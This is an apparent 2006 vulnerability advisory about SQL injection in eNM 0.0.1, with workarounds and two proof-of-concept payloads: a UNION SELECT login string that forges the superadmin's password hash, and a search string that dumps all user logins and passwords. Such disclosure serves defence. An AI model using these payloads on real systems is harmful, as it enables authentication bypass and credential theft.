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eNM-0.0.1.txt

🗓️ 31 Oct 2006 00:00:00Reported by poplixType 
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Vulnerabilities in eNM version 0.0.1 can lead to SQL injection attacks, bypassing authentication, and accessing database content

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`easy notes manager (eNM) version 0.0.1, available at http://217.172.179.216/evandor/html/index.php?id=103 is affected by multiple sql injection vulnerability due to a missing check of the user supplied input.  
An attacker can bypass the authentication procedure and get a full dump of the database tables.  
  
  
  
No patches are availble but a possible solution is change the TABLEPREFIX variable in config file with a very random one and suppress all error messages (and eventually downgrade mysql5 to mysql4).  
The vendor has been warned.  
  
  
proof of concept to bypass authentication:  
username: dontcare' and 0=1 union select id,login,'0cc175b9c0f1b6a831c399e269772661',grp,salutation,firstname,lastname,email from users where login='superadmin  
password: a  
  
proof of concept to get a list of all users and passwords:  
go to search page and search for: "dontcare')) union select 0,login,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0 from users -- "  
  
cheers  
-p  
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